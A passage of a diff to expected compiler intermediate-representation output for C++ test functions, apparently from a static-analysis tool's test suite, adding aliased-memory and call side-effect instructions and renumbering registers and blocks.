v0_0(void) = EnterFunction : +# 697| m0_1(unknown) = AliasedDefinition : +# 697| mu0_2(unknown) = UnmodeledDefinition : +# 698| r0_3(glval<..(&)(..)>) = VariableAddress[rfn] : +# 698| r0_4(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : +# 698| m0_5(..(&)(..)) = Store : r0_3, r0_4 +# 699| r0_6(glval<..(*)(..)>) = VariableAddress[pfn] : +# 699| r0_7(glval<..(&)(..)>) = VariableAddress[rfn] : +# 699| r0_8(..(&)(..)) = Load : r0_7, m0_5 +# 699| m0_9(..(*)(..)) = Store : r0_6, r0_8 +# 700| r0_10(glval<..(&)(..)>) = VariableAddress[rfn] : +# 700| r0_11(..(&)(..)) = Load : r0_10, m0_5 +# 700| r0_12(int) = Constant[5] : +# 700| r0_13(int) = Call : r0_11, r0_12 +# 700| m0_14(unknown) = ^CallSideEffect : m0_1 +# 700| m0_15(unknown) = Chi : m0_1, m0_14 +# 701| v0_16(void) = NoOp : +# 697| v0_17(void) = ReturnVoid : +# 697| v0_18(void) = UnmodeledUse : mu* +# 697| v0_19(void) = ExitFunction : # 704| min(int, int) -> int # 704| Block 0 -# 704| v0_0(void) = EnterFunction : -# 704| mu0_1(unknown) = UnmodeledDefinition : -# 704| r0_2(glval) = VariableAddress[x] : -# 704| m0_3(int) = InitializeParameter[x] : r0_2 -# 704| r0_4(glval) = VariableAddress[y] : -# 704| m0_5(int) = InitializeParameter[y] : r0_4 -# 705| r0_6(glval) = VariableAddress[#return] : -# 705| r0_7(glval) = VariableAddress[x] : -# 705| r0_8(int) = Load : r0_7, m0_3 -# 705| r0_9(glval) = VariableAddress[y] : -# 705| r0_10(int) = Load : r0_9, m0_5 -# 705| r0_11(bool) = CompareLT : r0_8, r0_10 -# 705| v0_12(void) = ConditionalBranch : r0_11 +# 704| v0_0(void) = EnterFunction : +# 704| m0_1(unknown) = AliasedDefinition : +# 704| mu0_2(unknown) = UnmodeledDefinition : +# 704| r0_3(glval) = VariableAddress[x] : +# 704| m0_4(int) = InitializeParameter[x] : r0_3 +# 704| r0_5(glval) = VariableAddress[y] : +# 704| m0_6(int) = InitializeParameter[y] : r0_5 +# 705| r0_7(glval) = VariableAddress[#return] : +# 705| r0_8(glval) = VariableAddress[x] : +# 705| r0_9(int) = Load : r0_8, m0_4 +# 705| r0_10(glval) = VariableAddress[y] : +# 705| r0_11(int) = Load : r0_10, m0_6 +# 705| r0_12(bool) = CompareLT : r0_9, r0_11 +# 705| v0_13(void) = ConditionalBranch : r0_12 #-----| False -> Block 2 #-----| True -> Block 1 # 705| Block 1 # 705| r1_0(glval) = VariableAddress[x] : -# 705| r1_1(int) = Load : r1_0, m0_3 +# 705| r1_1(int) = Load : r1_0, m0_4 # 705| r1_2(glval) = VariableAddress[#temp705:10] : # 705| m1_3(int) = Store : r1_2, r1_1 #-----| Goto -> Block 3 # 705| Block 2 # 705| r2_0(glval) = VariableAddress[y] : -# 705| r2_1(int) = Load : r2_0, m0_5 +# 705| r2_1(int) = Load : r2_0, m0_6 # 705| r2_2(glval) = VariableAddress[#temp705:10] : # 705| m2_3(int) = Store : r2_2, r2_1 #-----| Goto -> Block 3 @@ -2932,7 +3070,7 @@ ir.cpp: # 705| m3_0(int) = Phi : from 1:m1_3, from 2:m2_3 # 705| r3_1(glval) = VariableAddress[#temp705:10] : # 705| r3_2(int) = Load : r3_1, m3_0 -# 705| m3_3(int) = Store : r0_6, r3_2 +# 705| m3_3(int) = Store : r0_7, r3_2 # 704| r3_4(glval) = VariableAddress[#return] : # 704| v3_5(void) = ReturnValue : r3_4, m3_3 # 704| v3_6(void) = UnmodeledUse : mu* @@ -2941,68 +3079,76 @@ ir.cpp: # 708| CallMin(int, int) -> int # 708| Block 0 # 708| v0_0(void) = EnterFunction : -# 708| mu0_1(unknown) = UnmodeledDefinition : -# 708| r0_2(glval) = VariableAddress[x] : -# 708| m0_3(int) = InitializeParameter[x] : r0_2 -# 708| r0_4(glval) = VariableAddress[y] : -# 708| m0_5(int) = InitializeParameter[y] : r0_4 -# 709| r0_6(glval) = VariableAddress[#return] : -# 709| r0_7(glval) = FunctionAddress[min] : -# 709| r0_8(glval) = VariableAddress[x] : -# 709| r0_9(int) = Load : r0_8, m0_3 -# 709| r0_10(glval) = VariableAddress[y] : -# 709| r0_11(int) = Load : r0_10, m0_5 -# 709| r0_12(int) = Call : r0_7, r0_9, r0_11 -# 709| m0_13(int) = Store : r0_6, r0_12 -# 708| r0_14(glval) = VariableAddress[#return] : -# 708| v0_15(void) = ReturnValue : r0_14, m0_13 -# 708| v0_16(void) = UnmodeledUse : mu* -# 708| v0_17(void) = ExitFunction : +# 708| m0_1(unknown) = AliasedDefinition : +# 708| mu0_2(unknown) = UnmodeledDefinition : +# 708| r0_3(glval) = VariableAddress[x] : +# 708| m0_4(int) = InitializeParameter[x] : r0_3 +# 708| r0_5(glval) = VariableAddress[y] : +# 708| m0_6(int) = InitializeParameter[y] : r0_5 +# 709| r0_7(glval) = VariableAddress[#return] : +# 709| r0_8(glval) = FunctionAddress[min] : +# 709| r0_9(glval) = VariableAddress[x] : +# 709| r0_10(int) = Load : r0_9, m0_4 +# 709| r0_11(glval) = VariableAddress[y] : +# 709| r0_12(int) = Load : r0_11, m0_6 +# 709| r0_13(int) = Call : r0_8, r0_10, r0_12 +# 709| m0_14(unknown) = ^CallSideEffect : m0_1 +# 709| m0_15(unknown) = Chi : m0_1, m0_14 +# 709| m0_16(int) = Store : r0_7, r0_13 +# 708| r0_17(glval) = VariableAddress[#return] : +# 708| v0_18(void) = ReturnValue : r0_17, m0_16 +# 708| v0_19(void) = UnmodeledUse : mu* +# 708| v0_20(void) = ExitFunction : # 715| Outer::Func(void *, char) -> long # 715| Block 0 # 715| v0_0(void) = EnterFunction : -# 715| mu0_1(unknown) = UnmodeledDefinition : -# 715| r0_2(glval) = VariableAddress[x] : -# 715| m0_3(void *) = InitializeParameter[x] : r0_2 -# 715| r0_4(glval) = VariableAddress[y] : -# 715| m0_5(char) = InitializeParameter[y] : r0_4 -# 716| r0_6(glval) = VariableAddress[#return] : -# 716| r0_7(long) = Constant[0] : -# 716| m0_8(long) = Store : r0_6, r0_7 -# 715| r0_9(glval) = VariableAddress[#return] : -# 715| v0_10(void) = ReturnValue : r0_9, m0_8 -# 715| v0_11(void) = UnmodeledUse : mu* -# 715| v0_12(void) = ExitFunction : +# 715| m0_1(unknown) = AliasedDefinition : +# 715| mu0_2(unknown) = UnmodeledDefinition : +# 715| r0_3(glval) = VariableAddress[x] : +# 715| m0_4(void *) = InitializeParameter[x] : r0_3 +# 715| r0_5(glval) = VariableAddress[y] : +# 715| m0_6(char) = InitializeParameter[y] : r0_5 +# 716| r0_7(glval) = VariableAddress[#return] : +# 716| r0_8(long) = Constant[0] : +# 716| m0_9(long) = Store : r0_7, r0_8 +# 715| r0_10(glval) = VariableAddress[#return] : +# 715| v0_11(void) = ReturnValue : r0_10, m0_9 +# 715| v0_12(void) = UnmodeledUse : mu* +# 715| v0_13(void) = ExitFunction : # 720| CallNestedTemplateFunc() -> double # 720| Block 0 # 720| v0_0(void) = EnterFunction : -# 720| mu0_1(unknown) = UnmodeledDefinition : -# 721| r0_2(glval) = VariableAddress[#return] : -# 721| r0_3(glval) = FunctionAddress[Func] : -# 721| r0_4(void *) = Constant[0] : -# 721| r0_5(char) = Constant[111] : -# 721| r0_6(long) = Call : r0_3, r0_4, r0_5 -# 721| r0_7(double) = Convert : r0_6 -# 721| m0_8(double) = Store : r0_2, r0_7 -# 720| r0_9(glval) = VariableAddress[#return] : -# 720| v0_10(void) = ReturnValue : r0_9, m0_8 -# 720| v0_11(void) = UnmodeledUse : mu* -# 720| v0_12(void) = ExitFunction : +# 720| m0_1(unknown) = AliasedDefinition : +# 720| mu0_2(unknown) = UnmodeledDefinition : +# 721| r0_3(glval) = VariableAddress[#return] : +# 721| r0_4(glval) = FunctionAddress[Func] : +# 721| r0_5(void *) = Constant[0] : +# 721| r0_6(char) = Constant[111] : +# 721| r0_7(long) = Call : r0_4, r0_5, r0_6 +# 721| m0_8(unknown) = ^CallSideEffect : m0_1 +# 721| m0_9(unknown) = Chi : m0_1, m0_8 +# 721| r0_10(double) = Convert : r0_7 +# 721| m0_11(double) = Store : r0_3, r0_10 +# 720| r0_12(glval) = VariableAddress[#return] : +# 720| v0_13(void) = ReturnValue : r0_12, m0_11 +# 720| v0_14(void) = UnmodeledUse : mu* +# 720| v0_15(void) = ExitFunction : # 724| TryCatch(bool) -> void # 724| Block 0 # 724| v0_0(void) = EnterFunction : -# 724| mu0_1(unknown) = UnmodeledDefinition : -# 724| r0_2(glval) = VariableAddress[b] : -# 724| m0_3(bool) = InitializeParameter[b] : r0_2 -# 726| r0_4(glval) = VariableAddress[x] : -# 726| r0_5(int) = Constant[5] : -# 726| m0_6(int) = Store : r0_4, r0_5 -# 727| r0_7(glval) = VariableAddress[b] : -# 727| r0_8(bool) = Load : r0_7, m0_3 -# 727| v0_9(void) = ConditionalBranch : r0_8 +# 724| m0_1(unknown) = AliasedDefinition : +# 724| mu0_2(unknown) = UnmodeledDefinition : +# 724| r0_3(glval) = VariableAddress[b] : +# 724| m0_4(bool) = InitializeParameter[b] : r0_3 +# 726| r0_5(glval) = VariableAddress[x] : +# 726| r0_6(int) = Constant[5] : +# 726| m0_7(int) = Store : r0_5, r0_6 +# 727| r0_8(glval) = VariableAddress[b] : +# 727| r0_9(bool) = Load : r0_8, m0_4 +# 727| v0_10(void) = ConditionalBranch : r0_9 #-----| False -> Block 4 #-----| True -> Block 3 @@ -3020,1019 +3166,1166 @@ ir.cpp: # 728| r3_2(char *) = Convert : r3_1 # 728| m3_3(char *) = Store : r3_0, r3_2 # 728| v3_4(void) = ThrowValue : r3_0, m3_3 -#-----| Exception -> Block 9 +#-----| Exception -> Block 6 # 730| Block 4 # 730| r4_0(glval) = VariableAddress[x] : -# 730| r4_1(int) = Load : r4_0, m0_6 +# 730| r4_1(int) = Load : r4_0, m0_7 # 730| r4_2(int) = Constant[2] : # 730| r4_3(bool) = CompareLT : r4_1, r4_2 # 730| v4_4(void) = ConditionalBranch : r4_3 -#-----| False -> Block 8 -#-----| True -> Block 5 +#-----| False -> Block 5 +#-----| True -> Block 12 -# 731| Block 5 -# 731| r5_0(glval) = VariableAddress[b] : -# 731| r5_1(bool) = Load : r5_0, m0_3 -# 731| v5_2(void) = ConditionalBranch : r5_1 -#-----| False -> Block 7 -#-----| True -> Block 6 +# 733| Block 5 +# 733| r5_0(int) = Constant[7] : +# 733| r5_1(glval) = VariableAddress[x] : +# 733| m5_2(int) = Store : r5_1, r5_0 +#-----| Goto -> Block 11 -# 731| Block 6 -# 731| r6_0(int) = Constant[7] : -# 731| r6_1(glval) = VariableAddress[#temp731:11] : -# 731| m6_2(int) = Store : r6_1, r6_0 -# 731| r6_3(glval) = VariableAddress[#temp731:11] : -# 731| r6_4(int) = Load : r6_3, m6_2 -# 731| r6_5(glval) = VariableAddress[x] : -# 731| m6_6(int) = Store : r6_5, r6_4 -#-----| Goto -> Block 8 +# 735| Block 6 +# 735| v6_0(void) = CatchByType[const char *] : +#-----| Exception -> Block 8 +#-----| Goto -> Block 7 -# 731| Block 7 -# 731| r7_0(glval) = VariableAddress[#throw731:19] : -# 731| r7_1(glval) = FunctionAddress[String] : -# 731| r7_2(glval) = StringConstant["String object"] : -# 731| r7_3(char *) = Convert : r7_2 -# 731| v7_4(void) = Call : r7_1, this:r7_0, r7_3 -# 731| v7_5(void) = ThrowValue : r7_0, mu0_1 -#-----| Exception -> Block 9 - -# 733| Block 8 -# 733| r8_0(int) = Constant[7] : -# 733| r8_1(glval) = VariableAddress[x] : -# 733| m8_2(int) = Store : r8_1, r8_0 -#-----| Goto -> Block 14 - -# 735| Block 9 -# 735| v9_0(void) = CatchByType[const char *] : -#-----| Exception -> Block 11 -#-----| Goto -> Block 10 - -# 735| Block 10 -# 735| r10_0(glval) = VariableAddress[s] : -# 735| m10_1(char *) = InitializeParameter[s] : r10_0 -# 736| r10_2(glval) = VariableAddress[#throw736:5] : -# 736| r10_3(glval) = FunctionAddress[String] : -# 736| r10_4(glval) = VariableAddress[s] : -# 736| r10_5(char *) = Load : r10_4, m10_1 -# 736| v10_6(void) = Call : r10_3, this:r10_2, r10_5 -# 736| v10_7(void) = ThrowValue : r10_2, mu0_1 +# 735| Block 7 +# 735| r7_0(glval) = VariableAddress[s] : +# 735| m7_1(char *) = InitializeParameter[s] : r7_0 +# 736| r7_2(glval) = VariableAddress[#throw736:5] : +# 736| r7_3(glval) = FunctionAddress[String] : +# 736| r7_4(glval) = VariableAddress[s] : +# 736| r7_5(char *) = Load : r7_4, m7_1 +# 736| v7_6(void) = Call : r7_3, this:r7_2, r7_5 +# 736| m7_7(unknown) = ^CallSideEffect : m0_1 +# 736| m7_8(unknown) = Chi : m0_1, m7_7 +# 736| v7_9(void) = ThrowValue : r7_2, mu0_2 #-----| Exception -> Block 2 -# 738| Block 11 -# 738| v11_0(void) = CatchByType[const String &] : -#-----| Exception -> Block 13 -#-----| Goto -> Block 12 +# 738| Block 8 +# 738| v8_0(void) = CatchByType[const String &] : +#-----| Exception -> Block 10 +#-----| Goto -> Block 9 -# 738| Block 12 -# 738| r12_0(glval) = VariableAddress[e] : -# 738| m12_1(String &) = InitializeParameter[e] : r12_0 -# 738| v12_2(void) = NoOp : -#-----| Goto -> Block 14 +# 738| Block 9 +# 738| r9_0(glval) = VariableAddress[e] : +# 738| m9_1(String &) = InitializeParameter[e] : r9_0 +# 738| v9_2(void) = NoOp : +#-----| Goto -> Block 11 -# 740| Block 13 -# 740| v13_0(void) = CatchAny : -# 741| v13_1(void) = ReThrow : +# 740| Block 10 +# 740| v10_0(void) = CatchAny : +# 741| v10_1(void) = ReThrow : #-----| Exception -> Block 2 -# 743| Block 14 -# 743| v14_0(void) = NoOp : -# 724| v14_1(void) = ReturnVoid : +# 743| Block 11 +# 743| v11_0(void) = NoOp : +# 724| v11_1(void) = ReturnVoid : #-----| Goto -> Block 1 +# 724| Block 12 +# 724| v12_0(void) = Unreached : + # 745| Base::Base(const Base &) -> void # 745| Block 0 # 745| v0_0(void) = EnterFunction : -# 745| mu0_1(unknown) = UnmodeledDefinition : -# 745| r0_2(glval) = InitializeThis : -#-----| r0_3(glval) = VariableAddress[p#0] : -#-----| m0_4(Base &) = InitializeParameter[p#0] : r0_3 -# 745| r0_5(glval) = FieldAddress[base_s] : r0_2 -# 745| r0_6(glval) = FunctionAddress[String] : -# 745| v0_7(void) = Call : r0_6, this:r0_5 -# 745| v0_8(void) = NoOp : -# 745| v0_9(void) = ReturnVoid : -# 745| v0_10(void) = UnmodeledUse : mu* -# 745| v0_11(void) = ExitFunction : +# 745| m0_1(unknown) = AliasedDefinition : +# 745| mu0_2(unknown) = UnmodeledDefinition : +# 745| r0_3(glval) = InitializeThis : +#-----| r0_4(glval) = VariableAddress[p#0] : +#-----| m0_5(Base &) = InitializeParameter[p#0] : r0_4 +# 745| r0_6(glval) = FieldAddress[base_s] : r0_3 +# 745| r0_7(glval) = FunctionAddress[String] : +# 745| v0_8(void) = Call : r0_7, this:r0_6 +# 745| m0_9(unknown) = ^CallSideEffect : m0_1 +# 745| m0_10(unknown) = Chi : m0_1, m0_9 +# 745| v0_11(void) = NoOp : +# 745| v0_12(void) = ReturnVoid : +# 745| v0_13(void) = UnmodeledUse : mu* +# 745| v0_14(void) = ExitFunction : # 745| Base::operator=(const Base &) -> Base & # 745| Block 0 # 745| v0_0(void) = EnterFunction : -# 745| mu0_1(unknown) = UnmodeledDefinition : -# 745| r0_2(glval) = InitializeThis : -#-----| r0_3(glval) = VariableAddress[p#0] : -#-----| m0_4(Base &) = InitializeParameter[p#0] : r0_3 -#-----| r0_5(Base *) = CopyValue : r0_2 -#-----| r0_6(glval) = FieldAddress[base_s] : r0_5 -# 745| r0_7(glval) = FunctionAddress[operator=] : -#-----| r0_8(glval) = VariableAddress[p#0] : -#-----| r0_9(Base &) = Load : r0_8, m0_4 -#-----| r0_10(glval) = FieldAddress[base_s] : r0_9 -# 745| r0_11(String &) = Call : r0_7, this:r0_6, r0_10 -#-----| r0_12(glval) = VariableAddress[#return] : -#-----| r0_13(Base *) = CopyValue : r0_2 -#-----| m0_14(Base &) = Store : r0_12, r0_13 -# 745| r0_15(glval) = VariableAddress[#return] : -# 745| v0_16(void) = ReturnValue : r0_15, m0_14 -# 745| v0_17(void) = UnmodeledUse : mu* -# 745| v0_18(void) = ExitFunction : +# 745| m0_1(unknown) = AliasedDefinition : +# 745| mu0_2(unknown) = UnmodeledDefinition : +# 745| r0_3(glval) = InitializeThis : +#-----| r0_4(glval) = VariableAddress[p#0] : +#-----| m0_5(Base &) = InitializeParameter[p#0] : r0_4 +#-----| r0_6(Base *) = CopyValue : r0_3 +#-----| r0_7(glval) = FieldAddress[base_s] : r0_6 +# 745| r0_8(glval) = FunctionAddress[operator=] : +#-----| r0_9(glval) = VariableAddress[p#0] : +#-----| r0_10(Base &) = Load : r0_9, m0_5 +#-----| r0_11(glval) = FieldAddress[base_s] : r0_10 +# 745| r0_12(String &) = Call : r0_8, this:r0_7, r0_11 +# 745| m0_13(unknown) = ^CallSideEffect : m0_1 +# 745| m0_14(unknown) = Chi : m0_1, m0_13 +#-----| r0_15(glval) = VariableAddress[#return] : +#-----| r0_16(Base *) = CopyValue : r0_3 +#-----| m0_17(Base &) = Store : r0_15, r0_16 +# 745| r0_18(glval) = VariableAddress[#return] : +# 745| v0_19(void) = ReturnValue : r0_18, m0_17 +# 745| v0_20(void) = UnmodeledUse : mu* +# 745| v0_21(void) = ExitFunction : # 748| Base::Base() -> void # 748| Block 0 # 748| v0_0(void) = EnterFunction : -# 748| mu0_1(unknown) = UnmodeledDefinition : -# 748| r0_2(glval) = InitializeThis : -# 748| r0_3(glval) = FieldAddress[base_s] : r0_2 -# 748| r0_4(glval) = FunctionAddress[String] : -# 748| v0_5(void) = Call : r0_4, this:r0_3 -# 749| v0_6(void) = NoOp : -# 748| v0_7(void) = ReturnVoid : -# 748| v0_8(void) = UnmodeledUse : mu* -# 748| v0_9(void) = ExitFunction : +# 748| m0_1(unknown) = AliasedDefinition : +# 748| mu0_2(unknown) = UnmodeledDefinition : +# 748| r0_3(glval) = InitializeThis : +# 748| r0_4(glval) = FieldAddress[base_s] : r0_3 +# 748| r0_5(glval) = FunctionAddress[String] : +# 748| v0_6(void) = Call : r0_5, this:r0_4 +# 748| m0_7(unknown) = ^CallSideEffect : m0_1 +# 748| m0_8(unknown) = Chi : m0_1, m0_7 +# 749| v0_9(void) = NoOp : +# 748| v0_10(void) = ReturnVoid : +# 748| v0_11(void) = UnmodeledUse : mu* +# 748| v0_12(void) = ExitFunction : # 750| Base::~Base() -> void # 750| Block 0 # 750| v0_0(void) = EnterFunction : -# 750| mu0_1(unknown) = UnmodeledDefinition : -# 750| r0_2(glval) = InitializeThis : -# 751| v0_3(void) = NoOp : -# 751| r0_4(glval) = FieldAddress[base_s] : r0_2 -# 751| r0_5(glval) = FunctionAddress[~String] : -# 751| v0_6(void) = Call : r0_5, this:r0_4 -# 750| v0_7(void) = ReturnVoid : -# 750| v0_8(void) = UnmodeledUse : mu* -# 750| v0_9(void) = ExitFunction : +# 750| m0_1(unknown) = AliasedDefinition : +# 750| mu0_2(unknown) = UnmodeledDefinition : +# 750| r0_3(glval) = InitializeThis : +# 751| v0_4(void) = NoOp : +# 751| r0_5(glval) = FieldAddress[base_s] : r0_3 +# 751| r0_6(glval) = FunctionAddress[~String] : +# 751| v0_7(void) = Call : r0_6, this:r0_5 +# 751| m0_8(unknown) = ^CallSideEffect : m0_1 +# 751| m0_9(unknown) = Chi : m0_1, m0_8 +# 750| v0_10(void) = ReturnVoid : +# 750| v0_11(void) = UnmodeledUse : mu* +# 750| v0_12(void) = ExitFunction : # 754| Middle::operator=(const Middle &) -> Middle & # 754| Block 0 # 754| v0_0(void) = EnterFunction : -# 754| mu0_1(unknown) = UnmodeledDefinition : -# 754| r0_2(glval) = InitializeThis : -#-----| r0_3(glval) = VariableAddress[p#0] : -#-----| m0_4(Middle &) = InitializeParameter[p#0] : r0_3 -#-----| r0_5(Middle *) = CopyValue : r0_2 -#-----| r0_6(Base *) = ConvertToBase[Middle : Base] : r0_5 -# 754| r0_7(glval) = FunctionAddress[operator=] : -#-----| r0_8(glval) = VariableAddress[p#0] : -#-----| r0_9(Middle &) = Load : r0_8, m0_4 -#-----| r0_10(Base *) = ConvertToBase[Middle : Base] : r0_9 -# 754| r0_11(Base &) = Call : r0_7, this:r0_6, r0_10 -#-----| r0_12(Middle *) = CopyValue : r0_2 -#-----| r0_13(glval) = FieldAddress[middle_s] : r0_12 -# 754| r0_14(glval) = FunctionAddress[operator=] : -#-----| r0_15(glval) = VariableAddress[p#0] : -#-----| r0_16(Middle &) = Load : r0_15, m0_4 -#-----| r0_17(glval) = FieldAddress[middle_s] : r0_16 -# 754| r0_18(String &) = Call : r0_14, this:r0_13, r0_17 -#-----| r0_19(glval) = VariableAddress[#return] : -#-----| r0_20(Middle *) = CopyValue : r0_2 -#-----| m0_21(Middle &) = Store : r0_19, r0_20 -# 754| r0_22(glval) = VariableAddress[#return] : -# 754| v0_23(void) = ReturnValue : r0_22, m0_21 -# 754| v0_24(void) = UnmodeledUse : mu* -# 754| v0_25(void) = ExitFunction : +# 754| m0_1(unknown) = AliasedDefinition : +# 754| mu0_2(unknown) = UnmodeledDefinition : +# 754| r0_3(glval) = InitializeThis : +#-----| r0_4(glval) = VariableAddress[p#0] : +#-----| m0_5(Middle &) = InitializeParameter[p#0] : r0_4 +#-----| r0_6(Middle *) = CopyValue : r0_3 +#-----| r0_7(Base *) = ConvertToBase[Middle : Base] : r0_6 +# 754| r0_8(glval) = FunctionAddress[operator=] : +#-----| r0_9(glval) = VariableAddress[p#0] : +#-----| r0_10(Middle &) = Load : r0_9, m0_5 +#-----| r0_11(Base *) = ConvertToBase[Middle : Base] : r0_10 +# 754| r0_12(Base &) = Call : r0_8, this:r0_7, r0_11 +# 754| m0_13(unknown) = ^CallSideEffect : m0_1 +# 754| m0_14(unknown) = Chi : m0_1, m0_13 +#-----| r0_15(Middle *) = CopyValue : r0_3 +#-----| r0_16(glval) = FieldAddress[middle_s] : r0_15 +# 754| r0_17(glval) = FunctionAddress[operator=] : +#-----| r0_18(glval) = VariableAddress[p#0] : +#-----| r0_19(Middle &) = Load : r0_18, m0_5 +#-----| r0_20(glval) = FieldAddress[middle_s] : r0_19 +# 754| r0_21(String &) = Call : r0_17, this:r0_16, r0_20 +# 754| m0_22(unknown) = ^CallSideEffect : m0_14 +# 754| m0_23(unknown) = Chi : m0_14, m0_22 +#-----| r0_24(glval) = VariableAddress[#return] : +#-----| r0_25(Middle *) = CopyValue : r0_3 +#-----| m0_26(Middle &) = Store : r0_24, r0_25 +# 754| r0_27(glval) = VariableAddress[#return] : +# 754| v0_28(void) = ReturnValue : r0_27, m0_26 +# 754| v0_29(void) = UnmodeledUse : mu* +# 754| v0_30(void) = ExitFunction : # 757| Middle::Middle() -> void # 757| Block 0 -# 757| v0_0(void) = EnterFunction : -# 757| mu0_1(unknown) = UnmodeledDefinition : -# 757| r0_2(glval) = InitializeThis : -# 757| r0_3(glval) = ConvertToBase[Middle : Base] : r0_2 -# 757| r0_4(glval) = FunctionAddress[Base] : -# 757| v0_5(void) = Call : r0_4, this:r0_3 -# 757| r0_6(glval) = FieldAddress[middle_s] : r0_2 -# 757| r0_7(glval) = FunctionAddress[String] : -# 757| v0_8(void) = Call : r0_7, this:r0_6 -# 758| v0_9(void) = NoOp : -# 757| v0_10(void) = ReturnVoid : -# 757| v0_11(void) = UnmodeledUse : mu* -# 757| v0_12(void) = ExitFunction : +# 757| v0_0(void) = EnterFunction : +# 757| m0_1(unknown) = AliasedDefinition : +# 757| mu0_2(unknown) = UnmodeledDefinition : +# 757| r0_3(glval) = InitializeThis : +# 757| r0_4(glval) = ConvertToBase[Middle : Base] : r0_3 +# 757| r0_5(glval) = FunctionAddress[Base] : +# 757| v0_6(void) = Call : r0_5, this:r0_4 +# 757| m0_7(unknown) = ^CallSideEffect : m0_1 +# 757| m0_8(unknown) = Chi : m0_1, m0_7 +# 757| r0_9(glval) = FieldAddress[middle_s] : r0_3 +# 757| r0_10(glval) = FunctionAddress[String] : +# 757| v0_11(void) = Call : r0_10, this:r0_9 +# 757| m0_12(unknown) = ^CallSideEffect : m0_8 +# 757| m0_13(unknown) = Chi : m0_8, m0_12 +# 758| v0_14(void) = NoOp : +# 757| v0_15(void) = ReturnVoid : +# 757| v0_16(void) = UnmodeledUse : mu* +# 757| v0_17(void) = ExitFunction : # 759| Middle::~Middle() -> void # 759| Block 0 -# 759| v0_0(void) = EnterFunction : -# 759| mu0_1(unknown) = UnmodeledDefinition : -# 759| r0_2(glval) = InitializeThis : -# 760| v0_3(void) = NoOp : -# 760| r0_4(glval) = FieldAddress[middle_s] : r0_2 -# 760| r0_5(glval) = FunctionAddress[~String] : -# 760| v0_6(void) = Call : r0_5, this:r0_4 -# 760| r0_7(glval) = ConvertToBase[Middle : Base] : r0_2 -# 760| r0_8(glval) = FunctionAddress[~Base] : -# 760| v0_9(void) = Call : r0_8, this:r0_7 -# 759| v0_10(void) = ReturnVoid : -# 759| v0_11(void) = UnmodeledUse : mu* -# 759| v0_12(void) = ExitFunction : +# 759| v0_0(void) = EnterFunction : +# 759| m0_1(unknown) = AliasedDefinition : +# 759| mu0_2(unknown) = UnmodeledDefinition : +# 759| r0_3(glval) = InitializeThis : +# 760| v0_4(void) = NoOp : +# 760| r0_5(glval) = FieldAddress[middle_s] : r0_3 +# 760| r0_6(glval) = FunctionAddress[~String] : +# 760| v0_7(void) = Call : r0_6, this:r0_5 +# 760| m0_8(unknown) = ^CallSideEffect : m0_1 +# 760| m0_9(unknown) = Chi : m0_1, m0_8 +# 760| r0_10(glval) = ConvertToBase[Middle : Base] : r0_3 +# 760| r0_11(glval) = FunctionAddress[~Base] : +# 760| v0_12(void) = Call : r0_11, this:r0_10 +# 760| m0_13(unknown) = ^CallSideEffect : m0_9 +# 760| m0_14(unknown) = Chi : m0_9, m0_13 +# 759| v0_15(void) = ReturnVoid : +# 759| v0_16(void) = UnmodeledUse : mu* +# 759| v0_17(void) = ExitFunction : # 763| Derived::operator=(const Derived &) -> Derived & # 763| Block 0 # 763| v0_0(void) = EnterFunction : -# 763| mu0_1(unknown) = UnmodeledDefinition : -# 763| r0_2(glval) = InitializeThis : -#-----| r0_3(glval) = VariableAddress[p#0] : -#-----| m0_4(Derived &) = InitializeParameter[p#0] : r0_3 -#-----| r0_5(Derived *) = CopyValue : r0_2 -#-----| r0_6(Middle *) = ConvertToBase[Derived : Middle] : r0_5 -# 763| r0_7(glval) = FunctionAddress[operator=] : -#-----| r0_8(glval) = VariableAddress[p#0] : -#-----| r0_9(Derived &) = Load : r0_8, m0_4 -#-----| r0_10(Middle *) = ConvertToBase[Derived : Middle] : r0_9 -# 763| r0_11(Middle &) = Call : r0_7, this:r0_6, r0_10 -#-----| r0_12(Derived *) = CopyValue : r0_2 -#-----| r0_13(glval) = FieldAddress[derived_s] : r0_12 -# 763| r0_14(glval) = FunctionAddress[operator=] : -#-----| r0_15(glval) = VariableAddress[p#0] : -#-----| r0_16(Derived &) = Load : r0_15, m0_4 -#-----| r0_17(glval) = FieldAddress[derived_s] : r0_16 -# 763| r0_18(String &) = Call : r0_14, this:r0_13, r0_17 -#-----| r0_19(glval) = VariableAddress[#return] : -#-----| r0_20(Derived *) = CopyValue : r0_2 -#-----| m0_21(Derived &) = Store : r0_19, r0_20 -# 763| r0_22(glval) = VariableAddress[#return] : -# 763| v0_23(void) = ReturnValue : r0_22, m0_21 -# 763| v0_24(void) = UnmodeledUse : mu* -# 763| v0_25(void) = ExitFunction : +# 763| m0_1(unknown) = AliasedDefinition : +# 763| mu0_2(unknown) = UnmodeledDefinition : +# 763| r0_3(glval) = InitializeThis : +#-----| r0_4(glval) = VariableAddress[p#0] : +#-----| m0_5(Derived &) = InitializeParameter[p#0] : r0_4 +#-----| r0_6(Derived *) = CopyValue : r0_3 +#-----| r0_7(Middle *) = ConvertToBase[Derived : Middle] : r0_6 +# 763| r0_8(glval) = FunctionAddress[operator=] : +#-----| r0_9(glval) = VariableAddress[p#0] : +#-----| r0_10(Derived &) = Load : r0_9, m0_5 +#-----| r0_11(Middle *) = ConvertToBase[Derived : Middle] : r0_10 +# 763| r0_12(Middle &) = Call : r0_8, this:r0_7, r0_11 +# 763| m0_13(unknown) = ^CallSideEffect : m0_1 +# 763| m0_14(unknown) = Chi : m0_1, m0_13 +#-----| r0_15(Derived *) = CopyValue : r0_3 +#-----| r0_16(glval) = FieldAddress[derived_s] : r0_15 +# 763| r0_17(glval) = FunctionAddress[operator=] : +#-----| r0_18(glval) = VariableAddress[p#0] : +#-----| r0_19(Derived &) = Load : r0_18, m0_5 +#-----| r0_20(glval) = FieldAddress[derived_s] : r0_19 +# 763| r0_21(String &) = Call : r0_17, this:r0_16, r0_20 +# 763| m0_22(unknown) = ^CallSideEffect : m0_14 +# 763| m0_23(unknown) = Chi : m0_14, m0_22 +#-----| r0_24(glval) = VariableAddress[#return] : +#-----| r0_25(Derived *) = CopyValue : r0_3 +#-----| m0_26(Derived &) = Store : r0_24, r0_25 +# 763| r0_27(glval) = VariableAddress[#return] : +# 763| v0_28(void) = ReturnValue : r0_27, m0_26 +# 763| v0_29(void) = UnmodeledUse : mu* +# 763| v0_30(void) = ExitFunction : # 766| Derived::Derived() -> void # 766| Block 0 -# 766| v0_0(void) = EnterFunction : -# 766| mu0_1(unknown) = UnmodeledDefinition : -# 766| r0_2(glval) = 